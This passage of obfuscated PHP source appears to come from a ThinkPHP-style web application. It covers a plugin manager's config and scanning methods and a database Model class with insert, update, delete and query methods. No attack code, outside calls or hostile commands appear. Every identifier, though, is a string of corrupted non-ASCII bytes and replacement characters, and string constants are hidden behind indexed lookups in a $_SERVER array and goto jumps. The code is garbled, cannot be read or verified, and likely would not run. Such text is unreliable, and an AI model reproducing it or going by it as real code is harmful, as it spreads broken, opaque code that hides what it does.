array($ÃóÃ<C3B3>¬±[2088] => $ æÕ’¦È)); } else { $åâ¸øžª = array($ÃóÃ<C3B3>¬±[32] => $—œ<E28094>¾ù, $ÃóÃ<C3B3>¬±[2088] => $ æÕ’¦È, $ÃóÃ<C3B3>¬±[817] => 0, $ÃóÃ<C3B3>¬±[6] => $this->getConfigDefault($—œ<E28094>¾ù)); $this->insert($åâ¸øžª); } } public function getConfigDefault($Ûè¦) { $´±ðÇü± =& $_SERVER[ˆ¡¹µ‹Â]; $¢ïÔ—Õæ = array(); $°Àé´á¥ = $this->getPackageJson($Ûè¦); if (!$°Àé´á¥ && is_array($°Àé´á¥[$´±ðÇü±[2097]])) { return $¢ïÔ—Õæ; } foreach ($°Àé´á¥[$´±ðÇü±[2097]] as $á¶Û => $¾»ÌÀìæ) { if (!isset($¾»ÌÀìæ[$´±ðÇü±[450]]) || isset($¢ïÔ—Õæ[$á¶Û])) { continue; } $¢ïÔ—Õæ[$á¶Û] = $¾»ÌÀìæ[$´±ðÇü±[450]]; } return $¢ïÔ—Õæ; } public function getPackageJson($á¿Ú¢ä ) { return Hook::apply($á¿Ú¢ä  . $_SERVER[ˆ¡¹µ‹Â][2098]); } public function getConfig($º‹ô…—“, $Ô×–Â÷Í = false) { $ú×ó …” =& $_SERVER[ˆ¡¹µ‹Â]; $üÏ‚¾£¢ = array(); $¼Ïˆ×ýÄ = $this->loadList($º‹ô…—“); if ($¼Ïˆ×ýÄ && is_array($¼Ïˆ×ýÄ[$ú×ó …”[6]])) { $üÏ‚¾£¢ = $¼Ïˆ×ýÄ[$ú×ó …”[6]]; } if (!$üÏ‚¾£¢ || $Ô×–Â÷Í) { $üÏ‚¾£¢ = $this->getConfigDefault($º‹ô…—“); } return $üÏ‚¾£¢; } public function setConfig($Ô<>ã­¬ˆ, $¶¥ ¬™† = false) { $ÝÛÄÑÅŒ =& $_SERVER[ˆ¡¹µ‹Â]; $‹†Ç×Áü = $this->loadList($Ô<>ã­¬ˆ); if (!$‹†Ç×Áü) { return !1; } $ԟМñ… = $‹†Ç×Áü[$ÝÛÄÑÅŒ[6]]; if ($¶¥ ¬™† == !1) { $ԟМñ… = array(); $¶¥ ¬™† = $this->getConfigDefault($Ô<>ã­¬ˆ); } foreach ($¶¥ ¬™† as $Õ¨Êý<C38A>Ð => $¦×Ë<E280BA>æ) { $ԟМñ…[$Õ¨Êý<C38A>Ð] = is_string($¦×Ë<E280BA>æ) ? trim($¦×Ë<E280BA>æ) : $¦×Ë<E280BA>æ; } $this->update($‹†Ç×Áü[$ÝÛÄÑÅŒ[475]], array($ÝÛÄÑÅŒ[6] => $ԟМñ…)); } public function viewList() { $¥Ž·úªù =& $_SERVER[ˆ¡¹µ‹Â]; $Ê™Æµæ¾ = $this->loadList(); $this->pluginScan($ʙƵæ¾); $Ê™Æµæ¾ = $this->loadPluginList(); $ªöžØøÕ = array(); foreach ($Ê™Æµæ¾ as $”…å²¬Ê => $‘èôö½) { $£ßôðž¶ = $‘èôö½; unset($‘èôö½[$¥Ž·úªù[2088]], $‘èôö½[$¥Ž·úªù[6]]); $íÚï´˜ˆ = PLUGIN_DIR . $‘èôö½[$¥Ž·úªù[32]] . $¥Ž·úªù[2090]; if (!is_file($íÚï´˜ˆ)) { continue; } $ƒéËÂáñ = Hook::apply($‘èôö½[$¥Ž·úªù[32]] . $¥Ž·úªù[2098]); if (!is_array($ƒéËÂáñ)) { continue; } $ªöžØøÕ[$”…岬Ê] = array_merge($‘èôö½, $ƒéËÂáñ); if ($£ßôðž¶[$¥Ž·úªù[6]][$¥Ž·úªù[1677]] != $ƒéËÂáñ[$¥Ž·úªù[1651]]) { Hook::apply($‘èôö½[$¥Ž·úªù[32]] . $¥Ž·úªù[2095]); $£ßôðž¶[$¥Ž·úªù[6]][$¥Ž·úªù[1677]] = $ƒéËÂáñ[$¥Ž·úªù[1651]]; $this->update($‘èôö½[$¥Ž·úªù[475]], array($¥Ž·úªù[6] => $£ßôðž¶[$¥Ž·úªù[6]])); } } return $ªöžØøÕ; } private function loadPluginList() { $<24>üò =& $_SERVER[ˆ¡¹µ‹Â]; $ý<><EFBFBD>þÑ = $this->loadList(); if (strtolower(MOD) == $<24>üòÂ[2099]) { return $ý<><EFBFBD>þÑ; } $ÇŒ½®àò = Hook::trigger($<24>üòÂ[2100], $ý<><EFBFBD>þÑ); if ($ý<><EFBFBD>þÑ && !$ÇŒ½®àò) { die; } return $ÇŒ½®àò ? $ÇŒ½®àò : $ý<><EFBFBD>þÑ; } private function pluginScan($š¦<C5A1>„Ù) { $<24>܃®² =& $_SERVER[ˆ¡¹µ‹Â]; recursion_dir(PLUGIN_DIR, $»‰é“úý, $ÏЬÂÈÅ, 0); foreach ($»‰é“úý as $<>§ÚÆØ) { $<24>µ…®õ<C2AE> = get_path_this($<>§ÚÆØ); if (isset($š¦<C5A1>„Ù[$<24>µ…®õ<C2AE>]) || !file_exists($<>§ÚÆØ . $<24>܃®²[2101]) || !file_exists($<>§ÚÆØ . $<24>܃®²[2090])) { continue; } Hook::apply($<24>µ…®õ<C2AE> . $<24>܃®²[2095]); } } } goto a¶„ÉÉçɘ; Dë Èù·÷Ã: define($_SERVER[ˆ¡¹µ‹Â][320], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\142\154\145", "\157\162\x64\145\162", "\141\x6c\151\x61\163", "\150\141\166\151\156\147", "\x67\162\x6f\x75\x70", "\x6c\157\x63\153", "\144\151\x73\164\x69\x6e\x63\164", "\141\x75\164\157", "\x66\151\x6c\164\145\162", "\166\x61\x6c\x69\144\141\x74\x65", "\x72\145\163\165\x6c\x74", "\142\x69\x6e\144", "\x74\157\x6b\x65\156"); public function __construct($˜ÕŠâ¼Ð = '', $³¬·¡¬Õ = '', $˜äÃÅ®’ = '') { $Ñè™Öé“ =& $_SERVER[ˆ¡¹µ‹Â]; $this->_initialize(); if (!empty($˜ÕŠâ¼Ð)) { if (strpos($˜ÕŠâ¼Ð, $Ñè™Öé“[10])) { list($this->dbName, $this->name) = explode($Ñè™Öé“[10], $˜ÕŠâ¼Ð); } else { $this->name = $˜ÕŠâ¼Ð; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($³¬·¡¬Õ)) { $this->tablePrefix = $Ñè™Öé“[12]; } elseif ($Ñè™Öé“[12] != $³¬·¡¬Õ) { $this->tablePrefix = $³¬·¡¬Õ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($Ñè™Öé“[321]); } $this->db(0, empty($this->connection) ? $˜äÃÅ®’ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ù¾€¦â· =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($this->fields)) { if (think_config($ù¾€¦â·[322])) { $·£¾¥<C2BE>ø = $this->dbName ? $this->dbName : think_config($ù¾€¦â·[323]); $§éÉ<C3A9>†ê = think_var_cache($ù¾€¦â·[324] . strtolower(get_path_this($·£¾¥<C2BE>ø) . $ù¾€¦â·[10] . $this->name)); if ($§éÉ<C3A9>†ê) { $¯ìÝ<C3AC>Ýö = think_config($ù¾€¦â·[325]); if (empty($¯ìÝ<C3AC>Ýö) || $§éÉ<C3A9>†ê[$ù¾€¦â·[326]] == $¯ìÝ<C3AC>Ýö) { $this->fields = $§éÉ<C3A9>†ê; return; } } } $this->flush(); } } public function flush() { $èÓÕ•„ž =& $_SERVER[ˆ¡¹µ‹Â]; $this->db->setModel($this->name); $×­µÚœ¥ = $this->db->getFields($this->getTableName()); if (!$×­µÚœ¥) { return !1; } $this->fields = array_keys($×­µÚœ¥); $this->fields[$èÓÕ•„ž[327]] = !1; foreach ($×­µÚœ¥ as $—Â‚Ê¶Ó => $ì¼³÷<C2B3>) { $Ä<>Èü«[$—‚ʶÓ] = $ì¼³÷<C2B3>[$èÓÕ•„ž[33]]; if ($ì¼³÷<C2B3>[$èÓÕ•„ž[39]]) { $this->fields[$èÓÕ•„ž[328]] = $—‚ʶÓ; if ($ì¼³÷<C2B3>[$èÓÕ•„ž[42]]) { $this->fields[$èÓÕ•„ž[327]] = !0; } } } $this->fields[$èÓÕ•„ž[329]] = $Ä<>Èü«; if (think_config($èÓÕ•„ž[325])) { $this->fields[$èÓÕ•„ž[326]] = think_config($èÓÕ•„ž[325]); } if (think_config($èÓÕ•„ž[322])) { $ލÉäл = $this->dbName ? $this->dbName : think_config($èÓÕ•„ž[323]); think_var_cache($èÓÕ•„ž[324] . strtolower(get_path_this($ލÉäл) . $èÓÕ•„ž[10] . $this->name), $this->fields); } } public function switchModel($¯¹Òîδ, $®µþµþº = array()) { $Ä¡<C384>…áÏ =& $_SERVER[ˆ¡¹µ‹Â]; $óƒ—Œ°· = ucwords(strtolower($¯¹Òîδ)) . $Ä¡<C384>…áÏ[330]; if (!class_exists($óƒ—Œ°·)) { think_exception($óƒ—Œ°· . think_lang($Ä¡<C384>…áÏ[331])); } $this->_extModel = new $óƒ—Œ°·($this->name); if (!empty($®µþµþº)) { foreach ($®µþµþº as $‚í̆ú—) { $this->_extModel->setProperty($‚í̆ú—, $this->{$‚í̆ú—}); } } return $this->_extModel; } public function __set($ïÁð‹öû, $¹öíëíÀ) { $this->data[$ïÁð‹öû] = $¹öíëíÀ; } public function __get($ç™ñÜÄá) { return isset($this->data[$ç™ñÜÄá]) ? $this->data[$ç™ñÜÄá] : null; } public function __isset($Š•ÙŽÕÚ) { return isset($this->data[$Š•ÙŽÕÚ]); } public function __unset($šäßš¦è) { unset($this->data[$šäßš¦è]); } public function __call($Æð©þ§ˆ, $”’ëž»ˆ) { $ö„ù¥°ï =& $_SERVER[ˆ¡¹µ‹Â]; if (in_array(strtolower($Æð©þ§ˆ), $this->methods, !0)) { $this->options[strtolower($Æð©þ§ˆ)] = $”’ëž»ˆ[0]; return $this; } elseif (in_array(strtolower($Æð©þ§ˆ), array($ö„ù¥°ï[332], $ö„ù¥°ï[333], $ö„ù¥°ï[334], $ö„ù¥°ï[335], $ö„ù¥°ï[336]), !0)) { $Ն͛‡ü = isset($”’ëž»ˆ[0]) ? $”’ëž»ˆ[0] : $ö„ù¥°ï[220]; $Ն͛‡ü = $this->db->parseKey($Ն͛‡ü); return $this->getField(strtoupper($Æð©þ§ˆ) . $ö„ù¥°ï[337] . $Ն͛‡ü . $ö„ù¥°ï[338] . $Æð©þ§ˆ, $ö„ù¥°ï[332]); } elseif (strtolower(substr($Æð©þ§ˆ, 0, 5)) == $ö„ù¥°ï[339]) { $Ն͛‡ü = think_parse_name(substr($Æð©þ§ˆ, 5)); $–‹˜×€ü[$Ն͛‡ü] = $”’ëž»ˆ[0]; return $this->where($–‹˜×€ü)->find(); } elseif (strtolower(substr($Æð©þ§ˆ, 0, 10)) == $ö„ù¥°ï[340]) { $‡œœÐùƒ = think_parse_name(substr($Æð©þ§ˆ, 10)); $–‹˜×€ü[$‡œœÐùƒ] = $”’ëž»ˆ[0]; return $this->where($–‹˜×€ü)->getField($”’ëž»ˆ[1]); } elseif (isset($this->_scope[$Æð©þ§ˆ])) { return $this->scope($Æð©þ§ˆ, $”’ëž»ˆ[0]); } elseif (method_exists($this, $Æð©þ§ˆ)) { array_unshift($”’ëž»ˆ, $Æð©þ§ˆ); return call_user_func_array(array($this, $ö„ù¥°ï[341]), $”’ëž»ˆ); } else { return call_user_func_array(array(parent, $Æð©þ§ˆ), $”’ëž»ˆ); } } protected function call() { $ÆáŽÅ“‘ =& $_SERVER[ˆ¡¹µ‹Â]; $þà²òüÆ = func_get_args(); $­<>îÏä<C38F> = array_shift($þà²òüÆ); $ñâê‡ß× = $­<>îÏä<C38F>; if (is_array($­<>îÏä<C38F>)) { $ñâê‡ß× = $­<>îÏä<C38F>[1]; $­<>îÏä<C38F> = $­<>îÏä<C38F>[0]; } $ÈßÁ¼<C381>» = count($þà²òüÆ) - 1; if (isset($þà²òüÆ[$ÈßÁ¼<C381>»]) && $þà²òüÆ[$ÈßÁ¼<C381>»] === $­<>îÏä<C38F>) { think_exception(__CLASS__ . $ÆáŽÅ“‘[4] . $­<>îÏä<C38F> . think_lang($ÆáŽÅ“‘[342])); return; } $þà²òüÆ[] = $­<>îÏä<C38F>; if (method_exists($this, $ÆáŽÅ“‘[343])) { $²óÂãƒÞ = call_user_func_array(array($this, $ÆáŽÅ“‘[344]), array($ñâê‡ß×, $þà²òüÆ)); if (!is_null($²óÂãƒÞ) && $²óÂãƒÞ !== !1) { return $²óÂãƒÞ; } } $—ïÝóóú = call_user_func_array(array($this, $­<>îÏä<C38F>), $þà²òüÆ); if (method_exists($this, $ÆáŽÅ“‘[345])) { $²óÂãƒÞ = call_user_func_array(array($this, $ÆáŽÅ“‘[346]), array($ñâê‡ß×, $þà²òüÆ, $—ïÝóóú)); if ($²óÂãƒÞ) { return $²óÂãƒÞ; } } return $—ïÝóóú; } protected function _initialize() { } protected function _facade($ÀÀÎþ<C38E>¼) { $Û<>ã¦ÃŒ =& $_SERVER[ˆ¡¹µ‹Â]; if (!empty($this->fields)) { foreach ($ÀÀÎþ<C38E>¼ as $£Ôº³×É => $<24>ɯÞÙ) { if (is_array($this->fields) && !in_array($£Ôº³×É, $this->fields, !0)) { unset($ÀÀÎþ<C38E>¼[$£Ôº³×É]); } elseif (is_scalar($<24>ɯÞÙ)) { $this->_parseType($ÀÀÎþ<C38E>¼, $£Ôº³×É); } } } if (!empty($this->options[$Û<>ã¦ÃŒ[347]])) { $ÀÀÎþ<C38E>¼ = array_map($this->options[$Û<>ã¦ÃŒ[347]], $ÀÀÎþ<C38E>¼); unset($this->options[$Û<>ã¦ÃŒ[347]]); } $this->_beforeWrite($ÀÀÎþ<C38E>¼); return $ÀÀÎþ<C38E>¼; } protected function _beforeWrite(&$<24>­•½Ö™) { } public function add($¼¬°šù“ = '', $¥ÐìûÃÈ = array(), $ºëˆü¯• = false) { if (empty($¼¬°šù“)) { if (!empty($this->data)) { $¼¬°šù“ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ˆ¡¹µ‹Â][348]); return !1; } } $¥ÐìûÃÈ = $this->_parseOptions($¥ÐìûÃÈ); $¼¬°šù“ = $this->_facade($¼¬°šù“); if (!1 === $this->_beforeInsert($¼¬°šù“, $¥ÐìûÃÈ)) { return !1; } $›å¹Áࢠ= $this->db->insert($¼¬°šù“, $¥ÐìûÃÈ, $ºëˆü¯•); if (!1 !== $›å¹Áà¢) { $´ìÂŽêÈ = $this->getLastInsID(); if ($´ìÂŽêÈ) { $¼¬°šù“[$this->getPk()] = $´ìÂŽêÈ; $this->_after_insert($¼¬°šù“, $¥ÐìûÃÈ); return $´ìÂŽêÈ; } $this->_after_insert($¼¬°šù“, $¥ÐìûÃÈ); } return $›å¹Áà¢; } protected function _beforeInsert(&$ýÛºÓûû, $ÂÁ´ÈÂÐ) { } protected function _after_insert($ˆÎô¬«ª, $<24>¤¸º¦½) { } public function addAll($¾é†»¼‡, $ì‹Ûˆ‚— = array(), $ðÐü•ç¶ = false) { $°ÚíÌšÝ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($¾é†»¼‡)) { $this->error = think_lang($°ÚíÌšÝ[348]); return !1; } $ì‹Ûˆ‚— = $this->_parseOptions($ì‹Ûˆ‚—); foreach ($¾é†»¼‡ as $䵿¿Ó° => $ËÒ¨Á²¹) { $¾é†»¼‡[$䵿¿Ó°] = $this->_facade($ËÒ¨Á²¹); } if (method_exists($this->db, $°ÚíÌšÝ[349])) { $½<>ù´Ü¼ = $this->db->insertAll($¾é†»¼‡, $ì‹Ûˆ‚—, $ðÐü•ç¶); } else { $this->startTrans(); foreach ($¾é†»¼‡ as $䵿¿Ó° => $ËÒ¨Á²¹) { $½<>ù´Ü¼ = $this->db->insert($ËÒ¨Á²¹, $ì‹Ûˆ‚—, $ðÐü•ç¶); } $this->commit(); } if (!1 !== $½<>ù´Ü¼) { $ŠÅìÝÝå = $this->getLastInsID(); if ($ŠÅìÝÝå) { return $ŠÅìÝÝå; } } return $½<>ù´Ü¼; } public function selectAdd($Õ¿Ûí¹â = '', $†½¬õש = '', $¬þç鉠 = array()) { $Á˜•´Ðæ =& $_SERVER[ˆ¡¹µ‹Â]; $¬þç鉠 = $this->_parseOptions($¬þç鉠); if (!1 === ($Ê™ëÍßÅ = $this->db->selectInsert($Õ¿Ûí¹â ? $Õ¿Ûí¹â : $¬þç鉠[$Á˜•´Ðæ[350]], $†½¬õש ? $†½¬õש : $this->getTableName(), $¬þç鉠))) { $this->error = think_lang($Á˜•´Ðæ[351]); return !1; } else { return $Ê™ëÍßÅ; } } public function save($Œº¬×íë = '', $‹¥åÁ‘ˆ = array()) { $†Éè‘£¾ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($Œº¬×íë)) { if (!empty($this->data)) { $Œº¬×íë = $this->data; $this->data = array(); } else { $this->error = think_lang($†Éè‘£¾[348]); return !1; } } $Œº¬×íë = $this->_facade($Œº¬×íë); $‹¥åÁ‘ˆ = $this->_parseOptions($‹¥åÁ‘ˆ); $ÙϺÅüÉ = $this->getPk(); if (!isset($‹¥åÁ‘ˆ[$†Éè‘£¾[352]])) { if (isset($Œº¬×íë[$ÙϺÅüÉ])) { $몑‡Ñ¤[$ÙϺÅüÉ] = $Œº¬×íë[$ÙϺÅüÉ]; $‹¥åÁ‘ˆ[$†Éè‘£¾[352]] = $몑‡Ñ¤; unset($Œº¬×íë[$ÙϺÅüÉ]); } else { $this->error = think_lang($†Éè‘£¾[351]); return !1; } } if (is_array($‹¥åÁ‘ˆ[$†Éè‘£¾[352]]) && isset($‹¥åÁ‘ˆ[$†Éè‘£¾[352]][$ÙϺÅüÉ])) { $ؚ¸Ï× = $‹¥åÁ‘ˆ[$†Éè‘£¾[352]][$ÙϺÅüÉ]; } if (!1 === $this->_beforeUpdate($Œº¬×íë, $‹¥åÁ‘ˆ)) { return !1; } $û×½¹Ñã = $this->db->update($Œº¬×íë, $‹¥åÁ‘ˆ); if (!1 !== $û×½¹Ñã) { if (isset($ؚ¸Ï×)) { $Œº¬×íë[$ÙϺÅüÉ] = $ؚ¸Ï×; } $this->_afterUpdate($Œº¬×íë, $‹¥åÁ‘ˆ); } return $û×½¹Ñã; } protected function _beforeUpdate(&$ÇÉñì´€, $‰äŒ<C3A4>Ö<EFBFBD>) { } protected function _afterUpdate($¯Ú³ŽŠÅ, $§…Öñ•³) { } public function delete($üÇâŠÌì = array()) { $×ïÁõâÈ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($üÇâŠÌì) && empty($this->options[$×ïÁõâÈ[352]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $“¸¦óÁª = $this->getPk(); if (is_numeric($üÇâŠÌì) || is_string($üÇâŠÌì)) { if (strpos($üÇâŠÌì, $×ïÁõâÈ[50])) { $¶‰£ÐèÁ[$“¸¦óÁª] = array($×ïÁõâÈ[353], $üÇâŠÌì); } else { $¶‰£ÐèÁ[$“¸¦óÁª] = $üÇâŠÌì; } $this->options[$×ïÁõâÈ[352]] = $¶‰£ÐèÁ; } $üÇâŠÌì = $this->_parseOptions(); if (is_array($üÇâŠÌì[$×ïÁõâÈ[352]]) && isset($üÇâŠÌì[$×ïÁõâÈ[352]][$“¸¦óÁª])) { $œŒØ†ƒ‚ = $üÇâŠÌì[$×ïÁõâÈ[352]][$“¸¦óÁª]; } $Ú¹£•ò£ = $this->db->delete($üÇâŠÌì); if (!1 !== $Ú¹£•ò£) { $ ´ù<C2B4>™° = array(); if (isset($œŒØ†ƒ‚)) { $ ´ù<C2B4>™°[$“¸¦óÁª] = $œŒØ†ƒ‚; } $this->_after_delete($ ´ù<C2B4>™°, $üÇâŠÌì); } return $Ú¹£•ò£; } protected function _after_delete($Ú½«ù¿î, $΃œ—<C593>¦) { } public function select($©ú¨á»Î = array()) { $Ö®ð¢¤Ç =& $_SERVER[ˆ¡¹µ‹Â]; if (is_string($©ú¨á»Î) || is_numeric($©ú¨á»Î)) { $ÎÈåÁ¸° = $this->getPk(); if (strpos($©ú¨á»Î, $Ö®ð¢¤Ç[50])) { $¹…¥æä¥[$ÎÈåÁ¸°] = array($Ö®ð¢¤Ç[353], $©ú¨á»Î); } else { $¹…¥æä¥[$ÎÈåÁ¸°] = $©ú¨á»Î; } $this->options[$Ö®ð¢¤Ç[352]] = $¹…¥æä¥; } elseif (!1 === $©ú¨á»Î) { $©ú¨á»Î = $this->_parseOptions(); return $Ö®ð¢¤Ç[354] . $this->db->buildSelectSql($©ú¨á»Î) . $Ö®ð¢¤Ç[355]; } $©ú¨á»Î = $this->_parseOptions(); $Š†èœ«¹ = $this->db->select($©ú¨á»Î); if (!1 === $Š†èœ«¹) { return !1; } if (empty($Š†èœ«¹)) { return null; } $this->_afterSelect($Š†èœ«¹, $©ú¨á»Î); return $Š†èœ«¹; } protected function _afterSelect(&$šîïñµ”, $å«ÔÏŸ<C38F>) { } public function buildSql($‘‡Š¼ûÎ = array()) { $Øš•¼û‚ =& $_SERVER[ˆ¡¹µ‹Â]; $‘‡Š¼ûÎ = $this->_parseOptions($‘‡Š¼ûÎ); return $Øš•¼û‚[354] . $this->db->buildSelectSql($‘‡Š¼ûÎ) . $Øš•¼û‚[355]; } public function optionsValue($ËãÊÔ<C38A>¥ = null) { if (is_null($ËãÊÔ<C38A>¥)) { return $this->options; } elseif (is_array($ËãÊÔ<C38A>¥)) { $this->options = array_merge($this->options, $ËãÊÔ<C38A>¥); } } protected function _parseOptions($³¥‡¥€ª = array()) { $­ÇÔ°ÙÉ =& $_SERVER[ˆ¡¹µ‹Â]; if (is_array($³¥‡¥€ª)) { $³¥‡¥€ª = array_merge($this->options, $³¥‡¥€ª); } $this->options = array(); if (!isset($³¥‡¥€ª[$­ÇÔ°ÙÉ[356]])) { $³¥‡¥€ª[$­ÇÔ°ÙÉ[356]] = $this->getTableName(); $´Ô¬«Òˆ = $this->fields; } else { $´Ô¬«Òˆ = $this->getDbFields(); } if (!empty($³¥‡¥€ª[$­ÇÔ°ÙÉ[357]])) { $³¥‡¥€ª[$­ÇÔ°ÙÉ[356]] .= $­ÇÔ°ÙÉ[53] . $³¥‡¥€ª[$­ÇÔ°ÙÉ[357]]; } $³¥‡¥€ª[$­ÇÔ°ÙÉ[358]] = $this->name; if (isset($³¥‡¥€ª[$­ÇÔ°ÙÉ[352]]) && is_array($³¥‡¥€ª[$­ÇÔ°ÙÉ[352]]) && !empty($´Ô¬«Òˆ) && !isset($³¥‡¥€ª[$­ÇÔ°ÙÉ[359]]) && !isset($³¥‡¥€ª[$­ÇÔ°ÙÉ[356]])) { foreach ($³¥‡¥€ª[$­ÇÔ°ÙÉ[352]] as $©ã½<C3A3>²û => $ˆÕŸä´ñ) { $©ã½<C3A3>²û = trim($©ã½<C3A3>²û); if (in_array($©ã½<C3A3>²û, $´Ô¬«Òˆ, !0)) { if (is_scalar($ˆÕŸä´ñ)) { $this->_parseType($³¥‡¥€ª[$­ÇÔ°ÙÉ[352]], $©ã½<C3A3>²û); } } elseif (!is_numeric($©ã½<C3A3>²û) && $­ÇÔ°ÙÉ[11] != substr($©ã½<C3A3>²û, 0, 1) && !1 === strpos($©ã½<C3A3>²û, $­ÇÔ°ÙÉ[10]) && !1 === strpos($©ã½<C3A3>²û, $­ÇÔ°ÙÉ[337]) && !1 === strpos($©ã½<C3A3>²û, $­ÇÔ°ÙÉ[214]) && !1 === strpos($©ã½<C3A3>²û, $­ÇÔ°ÙÉ[360])) { unset($³¥‡¥€ª[$­ÇÔ°ÙÉ[352]][$©ã½<C3A3>²û]); } } } $this->_options_filter($³¥‡¥€ª); return $³¥‡¥€ª; } protected function _options_filter(&$óÚç<C39A>¥) { } protected function _parseType(&$¤¦Ù˜²ð, $ö°–‘•·) { $”<>óÖ¿ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($this->options[$”<>óÖ¿[361]][$”<>óÖ¿[4] . $ö°–‘•·])) { $¤î”‹¨ç = strtolower($this->fields[$”<>óÖ¿[329]][$ö°–‘•·]); if (!1 !== strpos($¤î”‹¨ç, $”<>óÖ¿[362])) { } elseif (!1 === strpos($¤î”‹¨ç, $”<>óÖ¿[363]) && !1 !== strpos($¤î”‹¨ç, $”<>óÖ¿[364])) { $¤¦Ù˜²ð[$ö°–‘•·] = intval($¤¦Ù˜²ð[$ö°–‘•·]); } elseif (!1 !== strpos($¤î”‹¨ç, $”<>óÖ¿[365]) || !1 !== strpos($¤î”‹¨ç, $”<>óÖ¿[366])) { $¤¦Ù˜²ð[$ö°–‘•·] = floatval($¤¦Ù˜²ð[$ö°–‘•·]); } elseif (!1 !== strpos($¤î”‹¨ç, $”<>óÖ¿[367])) { $¤¦Ù˜²ð[$ö°–‘•·] = (bool) $¤¦Ù˜²ð[$ö°–‘•·]; } } } public function find($º™Ú¥áÛ = array()) { $°±ÜÃÔ<C383> =& $_SERVER[ˆ¡¹µ‹Â]; if (is_numeric($º™Ú¥áÛ) || is_string($º™Ú¥áÛ)) { $œüÝ<C3BC>‡Ê[$this->getPk()] = intval($º™Ú¥áÛ); $this->options[$°±ÜÃÔ<C383>[352]] = $œüÝ<C3BC>‡Ê; } $this->options[$°±ÜÃÔ<C383>[368]] = 1; $º™Ú¥áÛ = $this->_parseOptions(); $ï˜Á™éË = $this->db->select($º™Ú¥áÛ); if (!1 === $ï˜Á™éË) { return !1; } if (empty($ï˜Á™éË)) { return null; } $this->data = $ï˜Á™éË[0]; $this->_afterFind($this->data, $º™Ú¥áÛ); if (!empty($this->options[$°±ÜÃÔ<C383>[369]])) { return $this->returnResult($this->data, $this->options[$°±ÜÃÔ<C383>[369]]); } return $this->data; } protected function _afterFind(&$’ÞëÎã£, $õýÉàöÚ) { } protected function returnResult($ÌÎ<C38C>±”, $±æ§¨¸Ø = '') { $‡ÝæÆ‘„ =& $_SERVER[ˆ¡¹µ‹Â]; if ($±æ§¨¸Ø) { if (is_callable($±æ§¨¸Ø)) { return call_user_func($±æ§¨¸Ø, $ÌÎ<C38C>±”); } switch (strtolower($±æ§¨¸Ø)) { case $‡ÝæÆ‘„[370]: return json_encode($ÌÎ<C38C>±”); case $‡ÝæÆ‘„[371]: return xml_encode($ÌÎ<C38C>±”); } } return $ÌÎ<C38C>±”; } public function parseFieldsMap($∘£îª, $¤ð»‹Ôš = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ÀüÙ<C3BC>Ú => $ÇÓ¾¦–¼) { if ($¤ð»‹Ôš == 1) { if (isset($∘£îª[$ÇÓ¾¦–¼])) { $∘£îª[$ÀüÙ<C3BC>Ú] = $∘£îª[$ÇÓ¾¦–¼]; unset($∘£îª[$ÇÓ¾¦–¼]); } } else { if (isset($∘£îª[$ÀüÙ<C3BC>Ú])) { $∘£îª[$ÇÓ¾¦–¼] = $∘£îª[$ÀüÙ<C3BC>Ú]; unset($∘£îª[$ÀüÙ<C3BC>Ú]); } } } } return $∘£îª; } public function setField($<>á‰<C3A1>, $ÍÏŠá¸ï = '') { if (is_array($<>á‰<C3A1>)) { $ÉÝ…ç±É = $<>á‰<C3A1>; } else { $ÉÝ…ç±É[$<>á‰<C3A1>] = $ÍÏŠá¸ï; } return $this->save($ÉÝ…ç±É); } public function setAdd($ª±ô€íº, $ßõšñϽ = 1) { $ǯ櫈٠=& $_SERVER[ˆ¡¹µ‹Â]; $ý¼—º¶© = $ª±ô€íº . $ǯ櫈Ù[372] . $ßõšñϽ; if ($ßõšñϽ < 0) { $ý¼—º¶© = $ª±ô€íº . $ßõšñϽ; } return $this->setField($ª±ô€íº, array($ǯ櫈Ù[373], $ý¼—º¶©)); } public function getField($¤<>ÍŒÖÍ, $ÔÍìåÝŒ = null) { $×𨊛ê =& $_SERVER[ˆ¡¹µ‹Â]; $²Ú¼ê<C2BC>ò[$×𨊛ê[350]] = $¤<>ÍŒÖÍ; $²Ú¼ê<C2BC>ò = $this->_parseOptions($²Ú¼ê<C2BC>ò); $¤<>ÍŒÖÍ = trim($¤<>ÍŒÖÍ); if (strpos($¤<>ÍŒÖÍ, $×𨊛ê[50])) { if (!isset($²Ú¼ê<C2BC>ò[$×𨊛ê[368]])) { $²Ú¼ê<C2BC>ò[$×𨊛ê[368]] = is_numeric($ÔÍìåÝŒ) ? $ÔÍìåÝŒ : $×𨊛ê[12]; } $‚‹Ä¡°– = $this->db->select($²Ú¼ê<C2BC>ò); if (!empty($‚‹Ä¡°–)) { $ÑÆÏŽþ¸ = explode($×𨊛ê[50], $¤<>ÍŒÖÍ); $¤<>ÍŒÖÍ = array_keys($‚‹Ä¡°–[0]); $•ô—Þ’ð = array_shift($¤<>ÍŒÖÍ); $ô¨÷Û¸‹ = array_shift($¤<>ÍŒÖÍ); $×Åá݆¯ = array(); $²®ßˆ›Þ = count($ÑÆÏŽþ¸); foreach ($‚‹Ä¡°– as $ï<E28093>ß…È) { $¶¤¤—þƒ = $ï<E28093>ß…È[$•ô—Þ’ð]; if (2 == $²®ßˆ›Þ) { $×Åá݆¯[$¶¤¤—þƒ] = $ï<E28093>ß…È[$ô¨÷Û¸‹]; } else { $×Åá݆¯[$¶¤¤—þƒ] = is_string($ÔÍìåÝŒ) ? implode($ÔÍìåÝŒ, $ï<E28093>ß…È) : $ï<E28093>ß…È; } } return $×Åá݆¯; } } else { if (!0 !== $ÔÍìåÝŒ) { 